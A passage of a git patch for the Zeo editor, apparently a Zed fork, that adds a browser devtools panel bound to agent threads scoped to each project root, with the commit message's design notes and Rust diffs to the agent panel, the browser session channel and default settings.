From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001
From: lucascouts <lucascs@protonmail.com>
Date: Thu, 15 Oct 2026 22:45:00 -0300
Subject: [PATCH] devtools_panel: a browser devtools panel beside the app, on
 devtools threads of its own

Working on a web app with the agent meant three windows: the page, the agent
thread in Zeo, and the terminal running the dev server. zeo-devtools (the Vite
plugin of 0052) now serves a panel page on its own port: the app in an iframe
beside a chat bound to an agent thread in Zeo. This patch is Zeo's half. Zeo
stays the core: the panel works only while the project is open in Zeo, and every
thread it uses is an ordinary Zeo thread that can be opened and written to from
the editor.

Design decisions (story 055, design.md D1-D6):
- D1, no third protocol: the panel and the dev server are two more clients of
  0058's v2 session protocol on 0052's socket. ClientInfo becomes a union on
  `kind` -- extension (the default when `kind` is absent, so 045's fixtures and
  every installed extension still parse), dev_server {root, app_url,
  panel_url}, panel {root}. New client kind create_thread (panel only); new
  server kinds created {id, thread}, project_open, project_closed. A follow
  target is never offered to a panel: subscribe {follow} answers bad_request.
- D2/D3 (panel on another origin of the same site, SSE + POST) are the
  plugin's; nothing in Zeo depends on them.
- D4, the devtools mark is in memory until the first message: 0048's admit()
  refuses drafts, so the mark lives in agent_ui::devtools_threads and is written
  on promotion (the first ThreadMetadataStore save with a session id, observed
  with cx.observe, since save emits no event) to thread_organization.devtools_root,
  migration step 2 appended to ORGANIZATION_MIGRATIONS. An empty devtools thread
  does not survive a restart.
- D5, its own USE group: it needs 0058's session code, so it applies after
  browser-extension and before test, and the ebuild ties devtools-panel? to
  browser-extension. On by default.
- D6 (the panel UI moved from zeo-browser) is the plugin's.

What Zeo does:
- connected projects (agent_ui::devtools_projects): a dev-server hello registers
  root -> {app_url, panel_url}; a newer announce for a root ends the older one.
  Every accepted dev-server or panel hello gets welcome (echoing the hello id)
  and then the root's state, project_open or project_closed. The state is a
  cached snapshot of the open worktree roots with 0052's component-wise
  containment rule, refreshed on workspace added/removed, window open/close,
  worktree added/removed/paths changed and app quit; a change is pushed to the
  announce session and every panel session of the root. It is not computed with
  resolve_window_for_path_with, which answers AiDisabled before looking at
  windows, so AI disabled would read as a closed project.
- devtools threads (agent_ui::devtools_threads): create resolves the window by
  root, creates the thread with the root's worktrees as work dirs and answers
  created only once the connection is ready (30 s; load_error, auth_required, a
  released view and AI disabled answer agent_start_failed early). list gives
  this run's creations first, then earlier runs by created_at, at most 50;
  archived threads and orphan marks are not listed and not reachable.
  ensure_loaded opens a persisted thread through the new
  AgentPanel::load_thread_in_background -- load_agent_thread always replaces
  the panel's base view, which would yank the operator's thread away. The
  DevtoolsThreads global is built in agent_ui::init, at top level, so the
  thread list reads persisted marks from the first render.
- panel session policy (agent_ui::browser_channel): no approval prompt for a
  panel or dev-server session (the boundary is the same uid, as for 0052);
  list_threads, subscribe, send, cancel and authorize only for a devtools
  thread of the session's own root, else not_found with no detail -- "not
  yours" and "does not exist" are one answer, so a panel never sees an editor
  thread even by id. While the root is not open every request but hello
  answers project_closed. A dev-server session may only say hello. Revoke
  closes the extension's sessions only. Late answers are fenced by a per-root
  epoch: a create finishing after the session ended says nothing, after the
  root closed answers project_closed and keeps the thread. AI disabled answers
  ai_disabled to subscribe/send/authorize, as for the extension. Logs are
  key=value with root and thread id, never text. SESSION_PLACES 4 -> 8, so an
  announce, two panels and the extension fit.
- eviction: retention cleanup keeps a devtools view while it is still
  connecting (create or load began less than 30 s ago); a connected one
  follows max_idle_retained_threads like any other. When a panel's subscribed
  thread is evicted, Zeo reloads it through ensure_loaded, at most 3 times per
  (session, thread) in 30 s, then sends thread_closed; a subscribe while that
  budget is spent answers agent_start_failed without loading, so a loop of
  evict and reload cannot spin.
  An empty devtools thread that went away with its window answers not_found,
  even once the project is reopened -- reloading it would land in a window
  with no agent panel yet and answer agent_start_failed (no_agent_panel); the
  panel then drops the binding. A draft the idle cap released is remembered
  (at most 64) with the panel that released it, and while that panel is still
  in an open window it is reloaded from its metadata as before.
  list_threads applies the same test, so the panel never lists a thread
  that would answer not_found.
- `devtools: start` / `devtools: stop` (agent_ui::devtools_run): runs the
  project's dev script in a terminal task ("devtools: dev server"):
  devtools.dev_command when the worktree is trusted, else `<pm> run dev` with
  the package manager from packageManager or the lockfile. A second start
  focuses the running terminal. The server stops when the workspace or window
  that started it goes away and on quit, by closing the terminal explicitly
  rather than relying on its Drop. One 60 s announce deadline, owned here, is
  shared with the browser open below, so its message is shown once.
- `devtools: open in browser` (agent_ui::devtools_browser), with isolated and
  system variants (gpui action names cannot hold parentheses): creates a
  devtools thread and opens <panel_url>#thread=<id>. isolated starts chromium
  (or chromium-browser) from PATH with its own profile under Zeo's data
  directory, --app= and an optional --load-extension, detached in its own
  process group with LD_LIBRARY_PATH removed (an AppImage's mount would vanish
  under it); not found, or system, goes through cx.open_url. devtools.browser
  and devtools.browser_extension_path are read from the user settings file
  only, so a project file cannot choose the browser; dev_command is the one
  key a project may set, which is why the section lives in the project
  settings.
- thread list (sidebar, ui::ThreadItem): a ToolWeb badge (the globe Zed
  already ships; there is no IconName::Globe) on every devtools thread,
  unpromoted drafts included, and a "Devtools threads only" toggle in the
  search header -- this Zed has no filter menu -- composing with the text
  filter and 0049's pinned section.

It also extends 0065's drag guard (story 036) to the devtools-only view:
drop_thread_row and thread_row_drag test Sidebar::is_filtering instead of
the filter text alone, because that view shows only part of a project's
order, and a drop there would record only the visible threads and erase
the hidden ones' places. 0065's ThreadEntry test fixture gains is_devtools,
and sidebar_organization_filter_tests.rs gains the two devtools-only drop
tests and their helpers.

Since story 037 (2026-10-20) ThreadItem's badge builder, its rendering
and thread_item_badge_tests.rs come from 0068, which generalised them to
several badges, and so does the pub(crate) visibility of
thread_organization's test_helpers, capture_logs and all_lines_lowercased;
this patch keeps only its badge(IconName::ToolWeb, "Devtools thread")
call. sidebar_devtools_tests.rs gains a test that the devtools-only view
and 0068's #tag filter both hold, in groups and in the Pinned section.

Since story 038 (2026-10-20) 0069's Lists view builds its rows through
0049's build_pinned_rows too, so this patch also sets is_devtools in
that second PinnedBuildContext, in rebuild_contents' Lists hook: a
devtools thread filed in a list carries the same globe badge as in its
group.

USE devtools-panel (default on) needs browser-extension. Applies on top of 0058
with or without 0057; 0050/0051 apply on top of it unchanged.

Story 055 (zed/.epic/stories/055-devtools-panel-mvp), branch story/055.
---

diff --git a/assets/settings/default.json b/assets/settings/default.json
index 90f7422..d546e09 100644
--- a/assets/settings/default.json
+++ b/assets/settings/default.json
@@ -3131,6 +3131,24 @@
       "enabled": false,
     },
   },
+  // `devtools: start`, which runs the project's dev server in a terminal, and
+  // `devtools: open in browser`, which opens its devtools panel.
+  "devtools": {
+    // The command to run instead of the project's `dev` script, through the
+    // terminal's shell. `null` runs `<package manager> run dev`. A project's
+    // `.zed/settings.json` sets it only when the worktree is trusted.
+    "dev_command": null,
+    // Where `devtools: open in browser` opens the panel:
+    // 1. A Chromium window with its own profile (default):
+    //    "isolated"
+    // 2. The system's default browser:
+    //    "system"
+    // Read from the user settings file only, like `browser_extension_path`.
+    "browser": "isolated",
+    // An unpacked extension the isolated Chromium loads, when the directory
+    // holds a `manifest.json`. `null` loads none.
+    "browser_extension_path": null,
+  },
   // The devtools bridge: a unix socket at `$XDG_RUNTIME_DIR/zeo/devtools.sock`
   // that receives element selections from a dev-server page and hands them to
   // the agent panel. Turning it off stops listening and removes the socket.
diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index 83be94a..bda14ef 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -3883,6 +3883,58 @@ impl AgentPanel {
         thread_id
     }
 
+    /// Loads a stored thread into the retained threads without showing it: unlike
+    /// [`Self::load_agent_thread`], the active view, the focus and the selected agent stay as
+    /// they are, so a browser devtools panel never moves the editor (story 055, Assumption A2).
+    /// A thread this panel already holds is returned as it is. The view may still be connecting.
+    pub(crate) fn load_thread_in_background(
+        &mut self,
+        agent: Agent,
+        thread_id: ThreadId,
+        work_dirs: Option<PathList>,
+        title: Option<SharedString>,
+        source: AgentThreadSource,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Entity<ConversationView> {
+        if let Some(view) = self.conversation_view_for(thread_id, cx) {
+            return view;
+        }
+
+        // A draft gets back the prompt its operator had typed, as `load_agent_thread` does.
+        let is_draft = ThreadMetadataStore::try_global(cx)
+            .and_then(|store| store.read(cx).entry(thread_id).map(|m| m.is_draft()))
+            .unwrap_or(false);
+        let initial_content = is_draft
+            .then(|| crate::draft_prompt_store::read(thread_id, cx))
+            .flatten()
+            .map(|blocks| AgentInitialContent::ContentBlock {
+                blocks,
+                auto_submit: false,
+            });
+
+        let saved_selected_agent =
+            (self.selected_agent != agent).then(|| self.selected_agent.clone());
+        let thread = self.create_agent_thread_with_server(
+            agent,
+            None,
+            Some(thread_id),
+            work_dirs,
+            title,
+            initial_content,
+            None,
+            source,
+            window,
+            cx,
+        );
+        if let Some(original) = saved_selected_agent {
+            self.set_selected_agent_and_persist(original, cx);
+        }
+        let view = thread.conversation_view.clone();
+        self.insert_retained_thread(thread_id, thread.conversation_view, cx);
+        view
+    }
+
     pub fn activate_retained_thread(
         &mut self,
         id: ThreadId,
@@ -4772,6 +4824,19 @@ impl AgentPanel {
             .collect()
     }
 
+    /// The view this panel holds for `thread_id`, loaded or still connecting: the active one, a
+    /// retained one, or the parked draft, which [`Self::conversation_views`] leaves out.
+    pub(crate) fn conversation_view_for(
+        &self,
+        thread_id: ThreadId,
+        cx: &App,
+    ) -> Option<Entity<ConversationView>> {
+        self.conversation_views()
+            .into_iter()
+            .chain(self.draft_thread.clone())
+            .find(|view| view.read(cx).thread_id == thread_id)
+    }
+
     pub fn active_thread_view(&self, cx: &App) -> Option<Entity<ThreadView>> {
         let server_view = self.active_conversation_view()?;
         server_view.read(cx).root_thread_view()
@@ -5072,13 +5137,17 @@ impl AgentPanel {
         let mut potential_removals = self
             .retained_threads
             .iter()
-            .filter(|(_id, view)| {
+            .filter(|(id, view)| {
                 let view = view.read(cx);
                 if view.has_pending_selections() || view.has_saved_input() {
                     return false;
                 }
                 let Some(thread_view) = view.root_thread_view() else {
-                    return true;
+                    // A browser devtools panel may be waiting on this connection (story 055,
+                    // GOTCHA G7): releasing it now would fail a thread nobody stopped. Past the
+                    // panel's timeout, or once connected, it follows the idle cap like any other.
+                    return !(view.is_loading()
+                        && crate::devtools_threads::awaits_connection(**id, cx));
                 };
                 let thread = thread_view.read(cx).thread.read(cx);
                 thread.connection().supports_load_session() && thread.is_idle_for_retention()
@@ -5095,7 +5164,11 @@ impl AgentPanel {
             .take(n)
             .collect::<Vec<_>>();
         for id in to_remove {
-            self.remove_retained_thread(&id, cx);
+            if self.remove_retained_thread(&id, cx).is_some() {
+                // A devtools draft released here stays loadable while this panel is open (story
+                // 055, R5.11).
+                crate::devtools_threads::note_released(id, cx.weak_entity(), cx);
+            }
         }
     }
 
diff --git a/crates/agent_ui/src/agent_ui.rs b/crates/agent_ui/src/agent_ui.rs
index 3d265b2..c759ea0 100644
--- a/crates/agent_ui/src/agent_ui.rs
+++ b/crates/agent_ui/src/agent_ui.rs
@@ -15,7 +15,11 @@ mod config_options;
 mod context;
 mod context_server_configuration;
 pub(crate) mod conversation_view;
+pub mod devtools_browser;
 pub mod devtools_delivery;
+pub mod devtools_projects;
+pub mod devtools_run;
+pub mod devtools_threads;
 mod diagnostics;
 pub mod draft_prompt_store;
 mod entry_view_state;
@@ -314,6 +318,8 @@ pub enum AgentThreadSource {
     AgentPanel,
     GitPanel,
     Sidebar,
+    /// A devtools thread, created or loaded for a browser devtools panel (story 055).
+    Devtools,
 }
 
 impl AgentThreadSource {
@@ -322,6 +328,7 @@ impl AgentThreadSource {
             Self::AgentPanel => "agent_panel",
             Self::GitPanel => "git_panel",
             Self::Sidebar => "sidebar",
+            Self::Devtools => "devtools",
         }
     }
 }
@@ -779,8 +786,13 @@ pub fn init(
     context_server_configuration::init(language_registry, fs.clone(), cx);
     thread_metadata_store::init(cx);
     thread_organization::init(cx);
+    // Built here, at top level, so that the thread list's badge reads the persisted marks from
+    // the first render on, before anything has created a devtools thread (design.md G17).
+    devtools_threads::DevtoolsThreads::global(cx);
     terminal_thread_metadata_store::init(cx);
     devtools_delivery::track_window_activation(cx);
+    devtools_run::init(cx);
+    devtools_browser::init(cx);
 
     inline_assistant::init(fs.clone(), prompt_builder.clone(), cx);
     terminal_inline_assistant::init(fs.clone(), prompt_builder, cx);
diff --git a/crates/agent_ui/src/browser_channel.rs b/crates/agent_ui/src/browser_channel.rs
index 82c5813..f6522f8 100644
--- a/crates/agent_ui/src/browser_channel.rs
+++ b/crates/agent_ui/src/browser_channel.rs
@@ -7,13 +7,20 @@
 //! window, with Allow and Deny. Allow is remembered across restarts in the key-value store,
 //! under [`APPROVED_CLIENTS_KEY`]; Deny refuses that identity for the rest of the run; nobody
 //! answering within [`APPROVAL_TIMEOUT`] refuses the session. [`RevokeBrowserAccess`] forgets
-//! every approval and closes every session.
+//! every approval and closes every extension session.
+//!
+//! Sessions whose `hello` names a browser devtools panel or a dev server (story 055, design.md
+//! §B4) never go through approval (Assumption A1). A panel reaches only the devtools threads of
+//! its own project root, and anything else it names, existing or not, is one identical
+//! `not_found` (R5.5); a dev server says `hello` and nothing else.
 //!
 //! Every line logged here carries an event, a session id, the browser and a sanitised extension
-//! id, and fixed codes: never message text, entry text, page content or a URL (R13.4).
+//! id, and fixed codes: never message text, entry text, page content or a URL (R13.4). A panel's
+//! lines carry its project root and thread id instead of an identity (R9.1-R9.2).
 
 use std::collections::HashSet;
 use std::fmt;
+use std::path::{Path, PathBuf};
 use std::sync::Arc;
 use std::sync::atomic::{AtomicU64, Ordering};
 use std::time::{Duration, Instant};
@@ -44,8 +51,8 @@ use crate::agent_panel::AgentPanelEvent;
 use crate::agent_session_router::{OpenAgentSessionOptions, open_agent_session};
 use crate::browser_wire::{
     Attachment, Browser, ChannelError, ClientInfo, ClientMsg, Entry, EntryRole, EntryTool,
-    ImageAttachment, ImageMime, MAX_SERVER_LINE_BYTES, PROTOCOL_VERSION, Permission,
-    PermissionOption, PermissionOptionKind, SendRequest, SentImages, ServerMsg, Status,
+    ExtensionClient, ImageAttachment, ImageMime, MAX_SERVER_LINE_BYTES, PROTOCOL_VERSION,
+    Permission, PermissionOption, PermissionOptionKind, SendRequest, SentImages, ServerMsg, Status,
     SubagentInfo, SubagentState, SubscribeTarget, ThreadInfo, ThreadState, ToolStatus, V2,
 };
 use crate::conversation_view::{
@@ -53,6 +60,8 @@ use crate::conversation_view::{
     resolve_outcome_from_selection,
 };
 use crate::devtools_delivery::{most_recent_window, workspaces_by_recency};
+use crate::devtools_projects::{DevtoolsProjects, loggable_root, normalized};
+use crate::devtools_threads::DevtoolsThreadError;
 use crate::thread_metadata_store::ThreadId;
 use crate::{AgentPanel, DEFAULT_THREAD_TITLE};
 
@@ -60,7 +69,7 @@ actions!(
     devtools_bridge,
     [
         /// Forgets every browser extension approved to read and drive agent threads, and closes
-        /// every open browser session.
+        /// every open browser extension session.
         RevokeBrowserAccess
     ]
 );
@@ -72,6 +81,8 @@ pub const APPROVED_CLIENTS_KEY: &str = "zeo_browser_approved_clients";
 pub const APPROVAL_TIMEOUT: Duration = Duration::from_secs(120);
 /// The longest extension id a log line or the prompt shows.
 const SHOWN_EXTENSION_CHARS: usize = 64;
+/// The longest thread id a panel's log line shows; a `ThreadId` is 36.
+const SHOWN_THREAD_ID_CHARS: usize = 64;
 
 // ---------------------------------------------------------------------------------------------
 // Sessions
@@ -292,6 +303,20 @@ impl Global for BrowserChannel {}
 
 struct SessionState {
     sink: SessionSink,
+    /// The client kind of the first `hello`; a session keeps it for its whole life.
+    client: Option<&'static str>,
+    /// A panel session's project root, normalized, as its latest `hello` named it.
+    panel_root: Option<PathBuf>,
+    /// Counts a panel's `subscribe`s, so a load that ends after a later `subscribe` binds
+    /// nothing.
+    subscribes: u64,
+    /// Counts the roots a panel's `hello`s named. A `create_thread` or `subscribe` still in
+    /// flight when it changes answers nothing of the old root's threads (R5.5).
+    root_epoch: u64,
+    /// How often retention released each devtools thread this panel streams and Zeo loaded it
+    /// again, by thread id. Kept per session, not per subscription, so a `subscribe` after a
+    /// `thread_closed` does not start the count afresh.
+    reloads: HashMap<String, ReloadBudget>,
     /// Set by the first `hello`.
     identity: Option<Identity>,
     /// The first `hello`'s `id`, echoed by the reply that ends its approval.
@@ -350,7 +375,7 @@ struct Identity {
 }
 
 impl Identity {
-    fn of(client: &ClientInfo) -> Self {
+    fn of(client: &ExtensionClient) -> Self {
         Self {
             browser: client.browser,
             extension_id: client.extension_id.clone(),
@@ -409,9 +434,14 @@ fn global(cx: &mut App) -> &mut BrowserChannel {
 // ---------------------------------------------------------------------------------------------
 // The interface the bridge calls
 
-/// Handles one message of `session`: its `hello` starts the approval, and until the session is
-/// approved every other message is answered `not_approved` (R4.5). Never fails: every outcome is
-/// a reply on the session.
+/// Handles one message of `session`: an extension's `hello` starts the approval, and until the
+/// session is approved every other message is answered `not_approved` (R4.5). A panel's or a
+/// dev server's `hello` is admitted at once, and their other messages follow the panel policy
+/// (story 055, design.md §B4), never the approval. Never fails: every outcome is a reply on the
+/// session.
+///
+/// Called at top level, never inside a window's or an entity's update: a panel's
+/// `create_thread` and `subscribe` update the window holding the project (GOTCHA G17).
 pub fn handle_session_message(
     session: &BrowserSession,
     msg: ClientMsg,
@@ -434,6 +464,7 @@ pub fn handle_session_message(
             ),
         );
         forget(&session.id, cx);
+        end_devtools_session(&session.id, cx);
     }
     let channel = global(cx);
     if !channel.sessions.contains_key(&session.id) {
@@ -445,6 +476,11 @@ pub fn handle_session_message(
             session.id.clone(),
             SessionState {
                 sink: session.sink.clone(),
+                client: None,
+                panel_root: None,
+                subscribes: 0,
+                root_epoch: 0,
+                reloads: HashMap::default(),
                 identity: None,
                 hello_id: None,
                 approval: Approval::AwaitingHello,
@@ -453,34 +489,123 @@ pub fn handle_session_message(
         );
     }
 
+    if let ClientMsg::Hello { id, client, .. } = &msg {
+        let kind = client.kind();
+        let kind_changed = channel
+            .sessions
+            .get_mut(&session.id)
+            .is_some_and(|state| *state.client.get_or_insert(kind) != kind);
+        if kind_changed {
+            reply_error(
+                &session.id,
+                id.clone(),
+                ChannelError::BadRequest {
+                    detail: "a session keeps the client kind of its first hello",
+                },
+                cx,
+            );
+            log_hello(&session.id, kind, "bad_request", started);
+            return;
+        }
+    }
+
     match msg {
-        ClientMsg::Hello { id, client, .. } => handle_hello(&session.id, id, &client, cx),
-        msg => {
-            let approved = channel
-                .sessions
-                .get(&session.id)
-                .is_some_and(|state| state.approval.is_approved());
-            if approved {
-                handle_approved(session, msg, app_state, cx);
-            } else {
-                let kind = msg.kind();
-                let id = msg.request_id().map(str::to_owned);
-                send(
-                    &session.id,
-                    ServerMsg::error(id, ChannelError::NotApproved),
+        ClientMsg::Hello {
+            id,
+            client: ClientInfo::Extension(client),
+            ..
+        } => handle_hello(&session.id, id, &client, cx),
+        // Admitted by the connected projects with no approval prompt (story 055, Assumption A1).
+        ClientMsg::Hello {
+            id,
+            client:
+                ClientInfo::DevServer {
+                    root,
+                    app_url,
+                    panel_url,
+                },
+            ..
+        } => {
+            DevtoolsProjects::global(cx).update(cx, |projects, cx| {
+                projects.on_announce(
+                    session.id.clone(),
+                    id,
+                    Path::new(&root),
+                    app_url,
+                    panel_url,
                     cx,
-                );
-                log_line(
-                    log::Level::Debug,
-                    format!(
-                        "devtools_bridge event=session_msg session={} kind={kind} \
-                         outcome=not_approved ms={}",
-                        session.id,
-                        started.elapsed().as_millis()
-                    ),
-                );
+                )
+            });
+            log_hello(&session.id, "dev_server", "announced", started);
+        }
+        ClientMsg::Hello {
+            id,
+            client: ClientInfo::Panel { root },
+            ..
+        } => {
+            let root = normalized(Path::new(&root));
+            if let Some(state) = global(cx).sessions.get_mut(&session.id)
+                && state.panel_root.as_ref() != Some(&root)
+            {
+                // A panel moved to another root keeps nothing of the old one's threads, not even
+                // the answer to a request still in flight.
+                state.panel_root = Some(root.clone());
+                state.stream = None;
+                state.root_epoch += 1;
             }
+            DevtoolsProjects::global(cx).update(cx, |projects, cx| {
+                projects.on_panel_hello(session.id.clone(), id, &root, cx)
+            });
+            log_hello(&session.id, "panel", "admitted", started);
         }
+        msg => match policy_of(&session.id, cx) {
+            Policy::Panel(root) => handle_panel(session, msg, &root, cx),
+            Policy::DevServer => {
+                let kind = msg.kind();
+                let id = msg.request_id().map(str::to_owned);
+                let error = ChannelError::BadRequest {
+                    detail: "a dev server session only says hello",
+                };
+                let outcome = reply_error(&session.id, id, error, cx);
+                log_session_msg(&session.id, kind, outcome, started);
+            }
+            Policy::Approved => handle_approved(session, msg, app_state, cx),
+            Policy::NotApproved => {
+                let kind = msg.kind();
+                let id = msg.request_id().map(str::to_owned);
+                let outcome = reply_error(&session.id, id, ChannelError::NotApproved, cx);
+                log_session_msg(&session.id, kind, outcome, started);
+            }
+        },
+    }
+}
+
+/// Which rules answer a session's messages other than `hello`.
+enum Policy {
+    /// A browser devtools panel of this project root (story 055, design.md §B4).
+    Panel(PathBuf),
+    /// A dev server: it announces its root and asks for nothing else.
+    DevServer,
+    /// An extension the operator allowed (045).
+    Approved,
+    /// An extension not approved yet, or a session that has not said `hello`: no `hello` is no
+    /// kind, so it is gated like an extension.
+    NotApproved,
+}
+
+fn policy_of(id: &SessionId, cx: &mut App) -> Policy {
+    match global(cx).sessions.get(id) {
+        Some(SessionState {
+            client: Some("panel"),
+            panel_root: Some(root),
+            ..
+        }) => Policy::Panel(root.clone()),
+        Some(SessionState {
+            client: Some("dev_server"),
+            ..
+        }) => Policy::DevServer,
+        Some(state) if state.approval.is_approved() => Policy::Approved,
+        _ => Policy::NotApproved,
     }
 }
 
@@ -488,6 +613,7 @@ pub fn handle_session_message(
 /// so a sidebar closed during approval leaves nothing behind. The bridge calls it on the
 /// session's `Closed`; it never writes to the session.
 pub fn close_session(id: SessionId, cx: &mut App) {
+    end_devtools_session(&id, cx);
     let state = forget(&id, cx);
     let known = state.is_some();
     // Refused sessions are already forgotten, so their identity is gone too.
@@ -501,6 +627,22 @@ pub fn close_session(id: SessionId, cx: &mut App) {
     );
 }
 
+/// Tells the connected projects that `id` ended, if anything has created them.
+fn end_devtools_session(id: &SessionId, cx: &mut App) {
+    if let Some(projects) = DevtoolsProjects::try_global(cx) {
+        projects.update(cx, |projects, cx| projects.on_session_end(id, cx));
+    }
+}
+
+/// Ends the dev-server session `id` a newer announce of its root replaced (Assumption A4): its
+/// state goes and its sink closes, so the bridge closes the connection. The connected projects
+/// already moved on, so they are not told.
+pub(crate) fn end_replaced_session(id: &SessionId, cx: &mut App) {
+    if let Some(state) = forget(id, cx) {
+        state.sink.close();
+    }
+}
+
 /// Drops `id`'s state, dismissing its prompt; dropping the state cancels its timer.
 fn forget(id: &SessionId, cx: &mut App) -> Option<SessionState> {
     let state = global(cx).sessions.remove(id);
@@ -587,10 +729,21 @@ fn sessions_of(identity: &Identity, cx: &mut App) -> Vec<SessionId> {
         .collect()
 }
 
-/// Forgets every approved identity and closes every session (R4.6).
+/// Forgets every approved identity and closes every extension session (R4.6), and every session
+/// that has not said `hello` yet. A panel or a dev-server session holds no approval to revoke
+/// and stays open (story 055, R7.7).
 pub fn revoke_browser_access(cx: &mut App) {
     let channel = global(cx);
-    let sessions: Vec<(SessionId, SessionState)> = channel.sessions.drain().collect();
+    let revoked: Vec<SessionId> = channel
+        .sessions
+        .iter()
+        .filter(|(_, state)| !matches!(state.client, Some("panel" | "dev_server")))
+        .map(|(id, _)| id.clone())
+        .collect();
+    let sessions: Vec<(SessionId, SessionState)> = revoked
+        .into_iter()
+        .filter_map(|id| channel.sessions.remove(&id).map(|state| (id, state)))
+        .collect();
     let store = channel.store.clone();
     // Taken here, before anything is spawned: whatever the store does next is ordered by it.
     let generation = store.revoke();
@@ -621,7 +774,7 @@ pub fn revoke_browser_access(cx: &mut App) {
 // ---------------------------------------------------------------------------------------------
 // Approval
 
-fn handle_hello(id: &SessionId, hello_id: Option<String>, client: &ClientInfo, cx: &mut App) {
+fn handle_hello(id: &SessionId, hello_id: Option<String>, client: &ExtensionClient, cx: &mut App) {
     let channel = global(cx);
     let Some(state) = channel.sessions.get_mut(id) else {
         return;
@@ -911,7 +1064,7 @@ fn refuse(id: &SessionId, error: ChannelError, reason: &str, cx: &mut App) {
     );
 }
 
-fn welcome(id: Option<String>, cx: &App) -> ServerMsg {
+pub(crate) fn welcome(id: Option<String>, cx: &App) -> ServerMsg {
     ServerMsg::Welcome {
         v: V2,
         id,
@@ -944,29 +1097,449 @@ fn handle_approved(
         match msg {
             ClientMsg::ListThreads { id, .. } => list_threads(&session.id, id, cx),
             ClientMsg::Subscribe { id, target, .. } => subscribe(&session.id, id, target, cx),
-            ClientMsg::Send(request) => send_message(&session.id, request, cx),
-            ClientMsg::Cancel { id, .. } => cancel(&session.id, id, cx),
+            ClientMsg::Send(request) => send_message(&session.id, Scope::Extension, request, cx),
+            ClientMsg::Cancel { id, .. } => cancel(&session.id, Scope::Extension, id, cx),
             ClientMsg::Authorize {
                 id,
                 request_id,
                 option_id,
                 ..
-            } => authorize(&session.id, id, &request_id, &option_id, cx),
+            } => authorize(
+                &session.id,
+                Scope::Extension,
+                id,
+                &request_id,
+                &option_id,
+                cx,
+            ),
             ClientMsg::OpenInZeo { id, .. } => open_in_zeo(&session.id, id, app_state, cx),
+            // A thread is created for a panel session only, in its own root (story 055).
+            ClientMsg::CreateThread { id, .. } => reply_error(
+                &session.id,
+                Some(id),
+                ChannelError::BadRequest {
+                    detail: "create_thread comes from a panel session",
+                },
+                cx,
+            ),
             // Answered before a session is approved.
             ClientMsg::Hello { .. } => "ignored",
         }
     };
+    log_session_msg(&session.id, kind, outcome, started);
+}
+
+fn log_session_msg(id: &SessionId, kind: &str, outcome: &str, started: Instant) {
     log_line(
         log::Level::Debug,
         format!(
-            "devtools_bridge event=session_msg session={} kind={kind} outcome={outcome} ms={}",
-            session.id,
+            "devtools_bridge event=session_msg session={id} kind={kind} outcome={outcome} ms={}",
             started.elapsed().as_millis()
         ),
     );
 }
 
+// ---------------------------------------------------------------------------------------------
+// Panel sessions (story 055, design.md §B4)
+
+/// Whose rules a request that acts on a thread follows.
+#[derive(Clone, Copy)]
+enum Scope<'a> {
+    /// An approved extension: every thread open in a window, and the followed one (045).
+    Extension,
+    /// A browser devtools panel: only the devtools threads of its project root (R5.5).
+    Panel(&'a Path),
+}
+
+/// A message of the panel session of `root`. While no window holds the root, everything is
+/// `project_closed` (R7.2); the panel's `hello` is answered by the connected projects. No request
+/// opens, raises or focuses a window (R7.5): `open_in_zeo` is refused, and a thread is created or
+/// loaded in the background (Assumption A2).
+fn handle_panel(session: &BrowserSession, msg: ClientMsg, root: &Path, cx: &mut App) {
+    let started = Instant::now();
+    let id = &session.id;
+    let kind = msg.kind();
+    let scope = Scope::Panel(root);
+    let open = DevtoolsProjects::global(cx).read(cx).is_open(root);
+    let refused_while_ai_disabled = matches!(
+        msg,
+        ClientMsg::Subscribe { .. } | ClientMsg::Send(_) | ClientMsg::Authorize { .. }
+    );
+    let gate = if !open {
+        Some(ChannelError::ProjectClosed)
+    } else if refused_while_ai_disabled && DisableAiSettings::get_global(cx).disable_ai {
+        Some(ChannelError::AiDisabled)
+    } else {
+        None
+    };
+    let outcome = if let Some(error) = gate {
+        let request_id = msg.request_id().map(str::to_owned);
+        refuse_request(id, scope, kind, None, request_id, error, cx)
+    } else {
+        match msg {
+            ClientMsg::ListThreads { id: request_id, .. } => {
+                let items = crate::devtools_threads::list(root, cx);
+                send(
+                    id,
+                    ServerMsg::Threads {
+                        v: V2,
+                        id: request_id,
+                        items,
+                    },
+                    cx,
+                );
+                "threads"
+            }
+            ClientMsg::CreateThread { id: request_id, .. } => {
+                create_panel_thread(id, request_id, root, cx)
+            }
+            ClientMsg::Subscribe {
+                id: request_id,
+                target: SubscribeTarget::Follow,
+                ..
+            } => {
+                // The followed thread is the editor's, never a panel's (R5.7).
+                let error = ChannelError::BadRequest {
+                    detail: "a panel subscribes to one of its threads by id",
+                };
+                refuse_request(id, scope, kind, None, Some(request_id), error, cx)
+            }
+            ClientMsg::Subscribe {
+                id: request_id,
+                target: SubscribeTarget::Thread { thread_id },
+                ..
+            } => subscribe_panel(id, request_id, thread_id, root, cx),
+            ClientMsg::Send(request) => send_message(id, scope, request, cx),
+            ClientMsg::Cancel { id: request_id, .. } => cancel(id, scope, request_id, cx),
+            ClientMsg::Authorize {
+                id: request_id,
+                request_id: permission,
+                option_id,
+                ..
+            } => authorize(id, scope, request_id, &permission, &option_id, cx),
+            ClientMsg::OpenInZeo { id: request_id, .. } => {
+                let error = ChannelError::BadRequest {
+                    detail: "a panel cannot bring Zeo forward",
+                };
+                refuse_request(id, scope, kind, None, Some(request_id), error, cx)
+            }
+            // Answered by the connected projects.
+            ClientMsg::Hello { .. } => "ignored",
+        }
+    };
+    log_session_msg(id, kind, outcome, started);
+}
+
+/// What a panel's `create_thread` or `subscribe` was made under, checked again once the create
+/// or the load it waits on has ended: the answer goes out only while the session is still the
+/// panel of the same root, with the root open, and no later `subscribe` replaced it.
+struct InFlight {
+    root: PathBuf,
+    epoch: u64,
+    /// The session's `subscribe` count for a `subscribe`; `None` for a `create_thread`.
+    subscribe: Option<u64>,
+}
+
+impl InFlight {
+    /// The request of session `id` about to wait; a `subscribe` counts as the newest.
+    fn start(id: &SessionId, root: &Path, subscribe: bool, cx: &mut App) -> Option<Self> {
+        let state = global(cx).sessions.get_mut(id)?;
+        let subscribe = subscribe.then(|| {
+            state.subscribes += 1;
+            state.subscribes
+        });
